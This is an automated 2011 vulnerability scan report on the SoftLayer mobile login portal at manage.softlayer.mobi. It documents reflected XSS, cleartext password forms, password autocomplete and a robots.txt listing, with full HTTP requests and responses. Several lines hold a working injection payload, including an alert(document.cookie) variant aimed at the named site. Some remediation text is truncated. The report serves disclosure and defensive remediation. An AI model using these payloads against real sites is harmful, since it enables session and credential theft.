XSS, DORK, Mobile, manage.softlayer.mobi, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Wed Apr 20 15:50:00 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog
Loading

1. Cross-site scripting (reflected)

XSS in manage.softlayer.mobi, DORK, Cross Site Scripting, CWE-79, CAPEC-86

2. Cleartext submission of password

2.1. http://manage.softlayer.mobi/

2.2. http://manage.softlayer.mobi/index/a

2.3. http://manage.softlayer.mobi/index/index

3. Password field with autocomplete enabled

3.1. http://manage.softlayer.mobi/

3.2. http://manage.softlayer.mobi/index/a

3.3. http://manage.softlayer.mobi/index/index

4. Robots.txt file



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://manage.softlayer.mobi
Path:   /index/index

Issue detail

The value of the cacheKey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a65b"><img%20src%3da%20onerror%3dalert(1)>111344bb8ea11dfed was submitted in the cacheKey parameter. This input was echoed as 8a65b"><img src=a onerror=alert(1)>111344bb8ea11dfed in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /index/index?cacheKey=8a65b"><img%20src%3da%20onerror%3dalert(1)>111344bb8ea11dfed&data%5BUser%5D%5Busername%5D=&data%5BUser%5D%5Bpassword%5D= HTTP/1.1
Host: manage.softlayer.mobi
Proxy-Connection: keep-alive
Referer: http://manage.softlayer.mobi/
Cache-Control: max-age=0
Origin: http://manage.softlayer.mobi
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 20:37:10 GMT
Server: Apache
Content-Length: 2006
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>SoftLayer - Mobile Portal Login</title>
<link rel="stylesheet" type="text/css
...[SNIP]...
<form id="index_form" name="data[index][index?cacheKey=8a65b"><img src=a onerror=alert(1)>111344bb8ea11dfed]_form" action="http://manage.softlayer.mobi/index/index?cacheKey=8a65b">
...[SNIP]...

2. Cleartext submission of password  previous  next
There are 3 instances of this issue:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.


2.1. http://manage.softlayer.mobi/  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://manage.softlayer.mobi
Path:   /

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET / HTTP/1.1
Host: manage.softlayer.mobi
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 20:34:58 GMT
Server: Apache
Content-Length: 1832
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>SoftLayer - Mobile Portal Login</title>
<link rel="stylesheet" type="text/css
...[SNIP]...
<center>
<form id="index_form" name="data[index][index?cacheKey=]_form" action="http://manage.softlayer.mobi/index/index?cacheKey=" method="post"> <center>
...[SNIP]...
<BR>
<input type="password" id="user_password" name="data[User][password]" style="font-size:x-small" class="logintext" tabIndex="2" size="10" /><BR>
...[SNIP]...

2.2. http://manage.softlayer.mobi/index/a  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://manage.softlayer.mobi
Path:   /index/a

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET /index/a HTTP/1.1
Host: manage.softlayer.mobi
Proxy-Connection: keep-alive
Referer: http://manage.softlayer.mobi/index/index?cacheKey=8a65b%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E111344bb8ea11dfed&data%5BUser%5D%5Busername%5D=&data%5BUser%5D%5Bpassword%5D=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 20:39:52 GMT
Server: Apache
Content-Length: 1832
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>SoftLayer - Mobile Portal Login</title>
<link rel="stylesheet" type="text/css
...[SNIP]...
<center>
<form id="index_form" name="data[index][index?cacheKey=]_form" action="http://manage.softlayer.mobi/index/index?cacheKey=" method="post"> <center>
...[SNIP]...
<BR>
<input type="password" id="user_password" name="data[User][password]" style="font-size:x-small" class="logintext" tabIndex="2" size="10" /><BR>
...[SNIP]...

2.3. http://manage.softlayer.mobi/index/index  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://manage.softlayer.mobi
Path:   /index/index

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

POST /index/index?cacheKey= HTTP/1.1
Host: manage.softlayer.mobi
Proxy-Connection: keep-alive
Referer: http://manage.softlayer.mobi/
Content-Length: 59
Cache-Control: max-age=0
Origin: http://manage.softlayer.mobi
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

data%5BUser%5D%5Busername%5D=&data%5BUser%5D%5Bpassword%5D=

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 20:37:00 GMT
Server: Apache
Content-Length: 1902
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>SoftLayer - Mobile Portal Login</title>
<link rel="stylesheet" type="text/css
...[SNIP]...
<center>
<form id="index_form" name="data[index][index?cacheKey=]_form" action="http://manage.softlayer.mobi/index/index?cacheKey=" method="post"> <center>
...[SNIP]...
<BR>
<input type="password" id="user_password" name="data[User][password]" style="font-size:x-small" class="logintext" tabIndex="2" size="10" /><BR>
...[SNIP]...

3. Password field with autocomplete enabled  previous  next
There are 3 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


3.1. http://manage.softlayer.mobi/  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://manage.softlayer.mobi
Path:   /

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET / HTTP/1.1
Host: manage.softlayer.mobi
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 20:34:58 GMT
Server: Apache
Content-Length: 1832
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>SoftLayer - Mobile Portal Login</title>
<link rel="stylesheet" type="text/css
...[SNIP]...
<center>
<form id="index_form" name="data[index][index?cacheKey=]_form" action="http://manage.softlayer.mobi/index/index?cacheKey=" method="post"> <center>
...[SNIP]...
<BR>
<input type="password" id="user_password" name="data[User][password]" style="font-size:x-small" class="logintext" tabIndex="2" size="10" /><BR>
...[SNIP]...

3.2. http://manage.softlayer.mobi/index/a  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://manage.softlayer.mobi
Path:   /index/a

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /index/a HTTP/1.1
Host: manage.softlayer.mobi
Proxy-Connection: keep-alive
Referer: http://manage.softlayer.mobi/index/index?cacheKey=8a65b%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E111344bb8ea11dfed&data%5BUser%5D%5Busername%5D=&data%5BUser%5D%5Bpassword%5D=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 20:39:52 GMT
Server: Apache
Content-Length: 1832
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>SoftLayer - Mobile Portal Login</title>
<link rel="stylesheet" type="text/css
...[SNIP]...
<center>
<form id="index_form" name="data[index][index?cacheKey=]_form" action="http://manage.softlayer.mobi/index/index?cacheKey=" method="post"> <center>
...[SNIP]...
<BR>
<input type="password" id="user_password" name="data[User][password]" style="font-size:x-small" class="logintext" tabIndex="2" size="10" /><BR>
...[SNIP]...

3.3. http://manage.softlayer.mobi/index/index  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   http://manage.softlayer.mobi
Path:   /index/index

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

POST /index/index?cacheKey= HTTP/1.1
Host: manage.softlayer.mobi
Proxy-Connection: keep-alive
Referer: http://manage.softlayer.mobi/
Content-Length: 59
Cache-Control: max-age=0
Origin: http://manage.softlayer.mobi
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

data%5BUser%5D%5Busername%5D=&data%5BUser%5D%5Bpassword%5D=

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 20:37:00 GMT
Server: Apache
Content-Length: 1902
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>SoftLayer - Mobile Portal Login</title>
<link rel="stylesheet" type="text/css
...[SNIP]...
<center>
<form id="index_form" name="data[index][index?cacheKey=]_form" action="http://manage.softlayer.mobi/index/index?cacheKey=" method="post"> <center>
...[SNIP]...
<BR>
<input type="password" id="user_password" name="data[User][password]" style="font-size:x-small" class="logintext" tabIndex="2" size="10" /><BR>
...[SNIP]...

4. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://manage.softlayer.mobi
Path:   /

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: manage.softlayer.mobi

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 20:34:58 GMT
Server: Apache
Last-Modified: Mon, 07 Jun 2010 19:32:00 GMT
ETag: "1938ebe-c0-ba00ac00"
Accept-Ranges: bytes
Content-Length: 192
Connection: close
Content-Type: text/plain; charset=UTF-8

# Robots.txt file for http://manage.softlayer.mobi

User-agent: *
Disallow: /Bandwidth/
Disallow: /Error/
Disallow: /Hardware/
Disallow: /User/
Disallow: /Support/
Disallow: /Administrative/


Report generated by XSS.CX at Wed Apr 20 15:50:00 CDT 2011.